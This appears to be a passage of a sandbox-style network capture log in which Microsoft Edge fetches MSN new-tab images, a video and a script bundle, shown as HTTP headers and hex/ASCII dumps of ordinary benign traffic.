2024-04-23 21:02:21 UTC	1658	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 06 2f 49 44 41 54 58 c3 d5 57 7d 6c 14 45 14 7f 33 b3 bb 77 d7 2b a5 e5 a3 48 a9 7c c4 10 82 44 12 25 d8 18 4d 8a 5a 35 11 49 0d d2 26 fc 51 03 c6 04 c3 57 03 25 a0 50 b0 11 21 d4 a4 26 02 51 f0 0b 22 06 12 30 a6 84 18 48 8a 5a 08 22 88 c4 80 80 f6 0f 3e 5a 01 11 90 c2 41 da bb 9d dd 19 df cc ee 6d f7 bc 83 16 89 31 ee e5 dd 9b 9d db 9d df ef fd de bc b7 7b 00 ff f1 41 ee f6 86 8d 0d 17 f3 be ed 3c bf 2d 61 d1 32 37 6a 15 09 d3 e0 c4 20 27 a4 41 b7 44 fb f7 db b4 6b 56 49 d7 bf 42 a0 a1 41 d2 a1 a2 e3 a5 7d 7f b6 6f 3a 2f ec b8 99 df 1f 68 3c 0f 88 45 01 0c 0a 04 4d 32 72 81 30 da 50 50 3c 6a d3 8e Data Ascii: PNGIHDR szzbKGD/IDATXW}lE3w+H\|D%MZ5I&QW%P!&Q"0HZ">ZAm1{A<-a27j 'ADkVIBA}o:/h<EM2r0PP<j

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	49818	23.0.175.195	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:21 UTC	633	OUT	GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-04-23 21:02:21 UTC	515	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AAc9vHK Last-Modified: Mon, 25 Mar 2024 14:57:42 GMT X-Source-Length: 1218 X-Datacenter: eastus X-ActivityId: 95878a30-5dbe-4587-b59f-db50bc5fc836 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 1218 Cache-Control: public, max-age=237414 Expires: Fri, 26 Apr 2024 14:59:15 GMT Date: Tue, 23 Apr 2024 21:02:21 GMT Connection: close
2024-04-23 21:02:21 UTC	1218	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 71 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 35 2d 63 30 31 34 20 37 39 2e 31 35 31 34 38 31 2c 20 32 30 31 33 2f 30 33 2f 31 33 2d 31 32 3a 30 39 3a 31 35 20 20 Data Ascii: PNGIHDR szztEXtSoftwareAdobe ImageReadyqe<qiTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	49822	23.0.175.195	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:21 UTC	634	OUT	GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-04-23 21:02:21 UTC	517	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1lFz6G Last-Modified: Tue, 16 Apr 2024 19:28:55 GMT X-Source-Length: 5699 X-Datacenter: northeu X-ActivityId: 77b8105e-6632-4152-a630-ac2df2725deb Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 5699 Cache-Control: public, max-age=210380 Expires: Fri, 26 Apr 2024 07:28:41 GMT Date: Tue, 23 Apr 2024 21:02:21 GMT Connection: close
2024-04-23 21:02:21 UTC	5699	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 20 63 48 52 4d 00 00 7a 26 00 00 80 84 00 00 fa 00 00 00 80 e8 00 00 75 30 00 00 ea 60 00 00 3a 98 00 00 17 70 9c ba 51 3c 00 00 00 84 65 58 49 66 4d 4d 00 2a 00 00 00 08 00 05 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 4a 01 1b 00 05 00 00 00 01 00 00 00 52 01 28 00 03 00 00 00 01 00 02 00 00 87 69 00 04 00 00 00 01 00 00 00 5a 00 00 00 00 00 00 00 48 00 00 00 01 00 00 00 48 00 00 00 01 00 03 a0 01 00 03 00 00 00 01 00 01 00 00 a0 02 00 04 00 00 00 01 00 00 00 32 a0 03 00 04 00 00 00 01 00 00 00 32 00 00 00 00 86 f1 c2 a8 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 Data Ascii: PNGIHDR22?gAMAa cHRMz&u0`:pQ<eXIfMM*JR(iZHH22pHYs

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.4	49820	23.0.175.195	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:21 UTC	634	OUT	GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-04-23 21:02:21 UTC	516	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Tue, 09 Apr 2024 10:51:57 GMT X-Datacenter: eastus X-ActivityId: 8531235f-3c4e-4d9b-900c-2e009724d76b Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1hk7Sh X-Source-Length: 6962 Content-Length: 6962 Cache-Control: public, max-age=239437 Expires: Fri, 26 Apr 2024 15:32:58 GMT Date: Tue, 23 Apr 2024 21:02:21 GMT Connection: close
2024-04-23 21:02:21 UTC	6962	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 0c 3f 69 43 43 50 49 43 43 20 50 72 6f 66 69 6c 65 00 00 48 89 95 57 07 58 53 c9 16 9e 5b 92 90 90 84 12 40 40 4a e8 4d 10 a9 01 a4 84 d0 42 ef 08 36 42 12 20 94 18 03 41 c5 8e 2e 2a b8 76 b1 80 0d 5d 15 51 b0 02 62 47 ec 2c 8a bd 2f 16 54 94 75 b1 60 57 de a4 80 ae fb ca f7 e6 fb e6 ce 7f ff 39 f3 9f 33 e7 ce dc 7b 07 00 8d e3 3c 89 24 0f d5 04 20 5f 5c 28 8d 0f 0d 64 8e 4a 4d 63 92 9e 02 0c d0 01 15 38 01 4b 1e bf 40 c2 8e 8d 8d 04 b0 0c b4 7f 2f ef ae 03 44 de 5e 71 94 6b fd b3 ff bf 16 2d 81 b0 80 0f 00 12 0b 71 86 a0 80 9f 0f f1 7e 00 f0 2a be 44 5a 08 00 51 ce 5b 4c 2a 94 c8 31 ac 40 47 0a 03 84 78 be 1c 67 29 71 95 1c 67 28 f1 6e 85 4d 62 3c 07 Data Ascii: PNGIHDR22??iCCPICC ProfileHWXS[@@JMB6B A.v]QbG,/Tu`W93{<$ _\(dJMc8K@/D^qk-q~DZQ[L*1@Gxg)qg(nMb<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.4	49821	23.0.175.195	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:21 UTC	634	OUT	GET /tenant/amp/entityid/BB14D0jG.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-04-23 21:02:21 UTC	519	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB14D0jG Last-Modified: Sat, 06 Apr 2024 20:44:09 GMT X-Source-Length: 42413 X-Datacenter: westus X-ActivityId: 60fbf0cd-08c5-44ab-b736-37e7049f7e0a Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 42413 Cache-Control: public, max-age=128484 Expires: Thu, 25 Apr 2024 08:43:45 GMT Date: Tue, 23 Apr 2024 21:02:21 GMT Connection: close
2024-04-23 21:02:21 UTC	15865	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 01 2c 01 2c 00 00 ff e1 0e cc 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 24 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 96 87 69 00 04 00 00 00 01 00 00 00 aa 00 00 00 d6 00 2d c6 c0 00 00 27 10 00 2d c6 c0 00 00 27 10 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 20 28 4d 61 63 69 6e 74 6f 73 68 29 00 32 30 31 39 3a 30 31 3a 32 33 20 31 33 3a 32 34 3a 31 38 00 00 03 a0 01 00 03 00 00 00 01 00 01 00 00 a0 02 00 04 00 00 00 01 00 00 01 c3 a0 03 00 04 00 00 00 01 00 00 01 92 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 01 00 Data Ascii: JFIF,,ExifMM*bj(1$r2i-'-'Adobe Photoshop CC 2017 (Macintosh)2019:01:23 13:24:18
2024-04-23 21:02:21 UTC	16384	IN	Data Raw: 38 22 2f 3e 0d 0a 09 09 09 09 09 09 09 09 09 3c 72 64 66 3a 6c 69 20 78 6d 70 47 3a 73 77 61 74 63 68 4e 61 6d 65 3d 22 43 3d 37 35 20 4d 3d 31 30 30 20 59 3d 30 20 4b 3d 30 22 20 78 6d 70 47 3a 6d 6f 64 65 3d 22 52 47 42 22 20 78 6d 70 47 3a 74 79 70 65 3d 22 50 52 4f 43 45 53 53 22 20 78 6d 70 47 3a 72 65 64 3d 22 31 30 32 22 20 78 6d 70 47 3a 67 72 65 65 6e 3d 22 34 35 22 20 78 6d 70 47 3a 62 6c 75 65 3d 22 31 34 35 22 2f 3e 0d 0a 09 09 09 09 09 09 09 09 09 3c 72 64 66 3a 6c 69 20 78 6d 70 47 3a 73 77 61 74 63 68 4e 61 6d 65 3d 22 43 3d 35 30 20 4d 3d 31 30 30 20 59 3d 30 20 4b 3d 30 22 20 78 6d 70 47 3a 6d 6f 64 65 3d 22 52 47 42 22 20 78 6d 70 47 3a 74 79 70 65 3d 22 50 52 4f 43 45 53 53 22 20 78 6d 70 47 3a 72 65 64 3d 22 31 34 36 22 20 78 6d 70 47 Data Ascii: 8"/><rdf:li xmpG:swatchName="C=75 M=100 Y=0 K=0" xmpG:mode="RGB" xmpG:type="PROCESS" xmpG:red="102" xmpG:green="45" xmpG:blue="145"/><rdf:li xmpG:swatchName="C=50 M=100 Y=0 K=0" xmpG:mode="RGB" xmpG:type="PROCESS" xmpG:red="146" xmpG
2024-04-23 21:02:21 UTC	2020	IN	Data Raw: 9c b2 16 6f 83 6b fa fe fd a0 7e 03 f8 67 f6 9c f8 37 e2 0f 01 f8 c2 c1 75 2f 0f 78 96 d1 ad 2e a2 3c 32 e7 95 91 0f f0 c8 8c 15 d1 ba ab 28 3d ab f9 5f fd b9 7f 64 0f 10 fe c2 bf b4 cf 89 3e 1c f8 8b 74 d2 69 33 79 96 17 c1 36 47 aa 59 3e 4c 17 28 3d 19 7a 80 4e d7 57 5c 92 a6 be 8b 2f c5 fb 48 f2 4f 75 f8 9e 66 22 8f 23 ba d9 9e 43 5d 57 c1 4f 8c 9e 20 fd 9f 3e 2d f8 77 c6 fe 15 be 6d 3f c4 1e 18 be 8f 50 b1 9c 74 0e 87 3b 58 7f 12 30 ca b2 9e 19 59 81 e0 9a e5 68 af 4b 46 ac ce 6f 33 fa dc fd 8b 3f 6a 7d 0f f6 d4 fd 99 bc 27 f1 23 40 65 8e d7 c4 56 81 ee 2d 77 ee 6d 3e e9 3e 49 ed db de 39 15 97 38 1b 80 0c 38 61 5e b1 9a fc 29 ff 00 83 5d bf 6d 76 f0 0f c6 bf 10 7c 11 d5 ef 36 e9 3e 36 8d f5 8d 09 5d b8 8b 51 82 3f df 46 a3 fe 9a db a6 e3 ef 6a a0 7d Data Ascii: ok~g7u/x.<2(=_d>ti3y6GY>L(=zNW\/HOuf"#C]WO >-wm?Pt;X0YhKFo3?j}'#@eV-wm>>I988a^)]mv\|6>6]Q?Fj}
2024-04-23 21:02:21 UTC	8144	IN	Data Raw: c3 48 d7 a5 cd be af 1b 7d 06 95 76 df cd 45 7c 4b 5f 73 7f c1 b9 da 33 6a 9f f0 55 ff 00 02 ce ab b8 69 ba 7e ad 70 4e 3e e8 3a 7c f1 7f ed 41 f9 d7 66 2b f8 12 f4 66 54 7e 35 ea 7f 49 d4 51 45 7c 89 ec 05 14 51 40 05 14 51 40 05 14 51 40 08 7e f0 aa da cf fc 82 ee 7f eb 8b ff 00 23 56 4f de 15 5b 59 ff 00 90 5d cf fd 71 7f e4 6a 65 b1 a5 1f 8d 7a 9f 8f 34 51 45 7e 07 3f 89 9f de 94 7e 05 e8 82 8a 28 a9 34 0a 28 a2 80 3f 4a 3f e0 9f 43 fe 31 2f c2 ff 00 ef 5d ff 00 e9 5c d5 ed 03 ad 78 bf fc 13 eb fe 4d 2f c2 ff 00 ef 5d ff 00 e9 5c d5 ed 03 ad 7e e1 95 ff 00 b9 d2 ff 00 0c 7f 24 7f 10 71 47 fc 8e 31 5f f5 f2 7f fa 53 0a 28 a2 bd 03 c2 0a 28 a2 80 0a 28 a2 80 0a 28 a2 80 3f 2f ff 00 e0 ea 8f 01 36 bb fb 0f f8 27 c4 11 ab 33 68 1e 31 8a 19 30 3e e4 57 16 Data Ascii: H}vE\|K_s3jUi~pN>:\|Af+fT~5IQE\|Q@Q@Q@~#VO[Y]qjez4QE~?~(4(?J?C1/]\xM/]\~$qG1_S((((?/6'3h10>W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.4	49830	23.0.175.178	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:21 UTC	663	OUT	GET /1d6b80ab-342d-4031-8b17-fa7a415a779b/185e9ae8-e7e7-42c3-a20e-948d9a41b4bf.mp4 HTTP/1.1 Host: prod-streaming-video-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept-Encoding: identity;q=1, ;q=0 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: /* Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: video Referer: https://ntp.msn.com/ Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Range: bytes=0-
2024-04-23 21:02:21 UTC	549	IN	HTTP/1.1 206 Partial Content Pragma: IISMS/6.0,IIS Media Services Premium by Microsoft Content-Type: video/mp4 Content-MD5: pwyLFAr3EgWOUF9+BWfEPw== Last-Modified: Mon, 17 Oct 2022 14:17:42 GMT ETag: "0x8DAB04A5AB12E2A" Server: Microsoft-IIS/10.0 IISMS/6.0 X-Content-Type-Options: nosniff Access-Control-Allow-Origin: * Cache-Control: max-age=1658326 Date: Tue, 23 Apr 2024 21:02:21 GMT Content-Range: bytes 0-763446/763447 Content-Length: 763447 Connection: close Alt-Svc: h3-Q050=":443"; ma=93600,quic=":443"; ma=93600; v="46,43"
2024-04-23 21:02:21 UTC	15835	IN	Data Raw: 00 00 00 20 66 74 79 70 69 73 6f 6d 00 00 02 00 69 73 6f 6d 69 73 6f 32 61 76 63 31 6d 70 34 31 00 00 00 08 66 72 65 65 00 0b 95 6f 6d 64 61 74 00 00 02 a1 06 05 ff ff 9d dc 45 e9 bd e6 d9 48 b7 96 2c d8 20 d9 23 ee ef 78 32 36 34 20 2d 20 63 6f 72 65 20 31 36 34 20 2d 20 48 2e 32 36 34 2f 4d 50 45 47 2d 34 20 41 56 43 20 63 6f 64 65 63 20 2d 20 43 6f 70 79 6c 65 66 74 20 32 30 30 33 2d 32 30 32 32 20 2d 20 68 74 74 70 3a 2f 2f 77 77 77 2e 76 69 64 65 6f 6c 61 6e 2e 6f 72 67 2f 78 32 36 34 2e 68 74 6d 6c 20 2d 20 6f 70 74 69 6f 6e 73 3a 20 63 61 62 61 63 3d 31 20 72 65 66 3d 33 20 64 65 62 6c 6f 63 6b 3d 31 3a 30 3a 30 20 61 6e 61 6c 79 73 65 3d 30 78 33 3a 30 78 31 31 33 20 6d 65 3d 68 65 78 20 73 75 62 6d 65 3d 37 20 70 73 79 3d 31 20 70 73 79 5f 72 64 Data Ascii: ftypisomisomiso2avc1mp41freeomdatEH, #x264 - core 164 - H.264/MPEG-4 AVC codec - Copyleft 2003-2022 - http://www.videolan.org/x264.html - options: cabac=1 ref=3 deblock=1:0:0 analyse=0x3:0x113 me=hex subme=7 psy=1 psy_rd
2024-04-23 21:02:21 UTC	16384	IN	Data Raw: 89 8a 61 5a c0 f4 ce 1b 5e 01 86 3d 9d b0 de 5d ee 45 ca 45 81 25 46 53 cb 36 ac 8d 87 ac 41 48 da 22 c9 08 92 02 6a 33 d0 af 07 ce 43 49 e7 4f f4 5e 9e 80 4a 3e fa ec 77 5d fe ae 1e f0 e3 19 a6 74 62 35 3a 1d 21 4b c3 eb 63 cc 76 d2 f9 27 2e 46 65 12 b7 01 8a b4 79 ed e7 39 e4 e7 66 a2 4b 50 18 fe e7 0f 23 ca 63 b7 57 56 e2 b9 9f 69 3b 68 2d 8a 62 ac a7 a1 8d c5 b9 6c 61 4b 03 19 92 8c 41 2d 94 87 62 29 59 98 58 7d 3e fd 36 9a 9f e6 35 e7 f9 eb 85 da a0 e3 52 06 64 b2 8f ce 68 ba f5 e9 eb 01 80 3b 9c d9 7c 61 be 41 f2 b2 ae eb 4b 29 c6 cb 4b 74 3b 1e 39 d3 81 17 44 c4 56 76 48 19 d0 dc 74 54 94 b9 93 b3 db a5 6c bc d6 aa d9 51 dd 1b 57 f4 60 88 fa fe 90 6c 02 7c 88 13 ac 14 dd 33 ac ea 87 79 48 1b 9f b1 e9 ce f0 52 86 41 53 be 98 a2 01 cb f2 31 fd 9c 68 Data Ascii: aZ^=]EE%FS6AH"j3CIO^J>w]tb5:!Kcv'.Fey9fKP#cWVi;h-blaKA-b)YX}>65Rdh;\|aAK)Kt;9DVvHtTlQW`l\|3yHRAS1h
2024-04-23 21:02:21 UTC	2340	IN	Data Raw: a3 4e c6 8d fb a7 e0 d6 35 f7 9d f3 4e d3 aa 59 9e c3 f7 6f de d1 64 67 bf b4 a0 50 1c aa 4d 26 d2 ec 74 7e be 30 3d 37 1a d9 8a 2a 84 28 49 29 ee be e5 7b 5f 78 40 fd c6 ff 0c a8 26 2c c5 ea 5c d2 91 cf 93 14 dd 16 da b8 33 c4 20 7b fc 11 0d 8b 30 1a a9 de 9a ac ff 7c 7e 85 d9 7f e2 e4 3b cf 12 92 2d 88 1d 2b ee bb d0 77 b0 58 bd 3c 53 c7 0b ce 46 19 72 95 d0 18 ac d4 d5 a0 e2 3b 0f 3b be 39 24 f0 e8 04 23 98 e2 5b 8d 94 36 c3 67 dc 1b 91 48 bb e3 a3 27 93 9c 7f 54 03 41 40 93 c6 c0 b3 f1 b4 b1 9a 78 f5 f6 39 a7 a1 06 36 2a 9b 14 89 8e 03 84 24 e8 9e d7 d1 4f d4 e9 24 43 26 b8 1b db 82 53 be 8e b6 68 f7 f0 76 57 9d bb ac 80 d8 9f 48 ae 91 d6 1a 9e 8c a2 43 b8 22 7c 5b d5 a0 16 10 6c 7e 3b 8a 5d 54 85 3b c7 4e 5e 9d f4 ca 7c 9e 9d 8b 3e a8 7a d2 a4 e1 13 Data Ascii: N5NYodgPM&t~0=7(I){_x@&,\3 {0\|~;-+wX<SFr;;9$#[6gH'TA@x96$O$C&ShvWHC"\|[l~;]T;N^\|>z
2024-04-23 21:02:21 UTC	16384	IN	Data Raw: af 73 d0 5e bb 31 c2 b4 41 9f 6c da 5c bb 87 48 bd 3c 93 20 55 93 73 18 34 2f 8a 87 79 53 1d 7b 34 6f ad 29 cd e6 05 b3 4c 97 c7 79 63 4c 1a fa e1 ce 0e 95 b5 38 d7 93 92 6c 7c 47 e7 49 ee 92 51 0f 85 04 e5 c4 8e 22 4a 16 3a 0c d4 4e e4 4d ed 0c 24 9e 46 1a ab 13 9d 40 94 73 3a 9b 42 59 59 b0 ba 90 55 ae 59 29 0e 9e bc 00 fb ba f6 57 0f b6 5f 05 67 d3 57 35 fc 8f 0f bc 57 f1 6d 08 48 d8 66 61 9e 87 e7 19 b9 89 ff af fe c9 dd 68 92 ff 5b ae 06 fa 83 78 d4 fa d9 a2 28 d2 bb 35 f2 90 db 16 04 e0 7a 80 99 73 c4 2f 34 ac 29 64 93 26 d2 b8 36 06 3d bc c4 b5 ea 45 95 3c c7 ee 0a 5d 2b 15 85 f4 63 75 4e 6a 22 68 e9 15 82 b4 6f ff 0b 7e ae 8c e1 b3 cb 68 fd fc 07 d1 7f 80 f0 3c 67 53 45 91 aa 41 94 06 ee 5e 31 6d 7c de 07 74 0a d1 e8 7f 8e 4f 4a aa e1 f9 be 3a 8d Data Ascii: s^1Al\H< Us4/yS{4o)LycL8l\|GIQ"J:NM$F@s:BYYUY)W_gW5WmHfah[x(5zs/4)d&6=E<]+cuNj"ho~h<gSEA^1m\|tOJ:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.4	49831	23.11.231.163	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:21 UTC	641	OUT	GET /bundles/v1/edgeChromium/latest/shopping-notification.ee3fd8838e9012979570.js HTTP/1.1 Host: assets.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://ntp.msn.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-04-23 21:02:21 UTC	1153	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-MD5: y6/O8EdfAjqz+69eiYxGuw== Last-Modified: Wed, 17 Apr 2024 19:30:51 GMT ETag: 0x8DC5F14E41A3AE1 Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: e2ba3952-301e-00c4-41fd-9042f2000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Date: Tue, 23 Apr 2024 21:02:21 GMT Content-Length: 9468 Connection: close Akamai-Request-BC: [a=23.11.231.159,b=402746002,c=g,n=US_GA_ATLANTA,o=20940] Server-Timing: clientrtt; dur=106, clienttt; dur=0, origin; dur=0 , cdntime; dur=0 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.11.231.159 Akamai-Request-ID: 18016a92 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Cache-Control: public, no-transform, max-age=31535892 Timing-Allow-Origin: * Akamai-GRN: 0.9fe70b17.1713906141.18016a92 Vary: Origin
2024-04-23 21:02:21 UTC	9468	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 6e 65 77 73 5f 6d 73 6e 65 77 73 5f 65 78 70 65 72 69 65 6e 63 65 73 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 6e 65 77 73 5f 6d 73 6e 65 77 73 5f 65 78 70 65 72 69 65 6e 63 65 73 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 73 68 6f 70 70 69 6e 67 2d 6e 6f 74 69 66 69 63 61 74 69 6f 6e 22 5d 2c 7b 38 39 33 32 31 3a 66 75 6e 63 74 69 6f 6e 28 69 2c 74 2c 6f 29 7b 6f 2e 72 28 74 29 2c 6f 2e 64 28 74 2c 7b 53 68 6f 70 70 69 6e 67 4e 6f 74 69 66 69 63 61 74 69 6f 6e 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 24 7d 2c 53 68 6f 70 70 69 6e 67 4e 6f 74 69 66 69 63 61 74 69 6f 6e 53 74 79 6c 65 73 3a 66 75 6e 63 74 69 6f 6e 28 29 Data Ascii: "use strict";(self.webpackChunk_msnews_msnews_experiences=self.webpackChunk_msnews_msnews_experiences\|\|[]).push([["shopping-notification"],{89321:function(i,t,o){o.r(t),o.d(t,{ShoppingNotification:function(){return $},ShoppingNotificationStyles:function()

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.4	49823	23.101.168.44	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
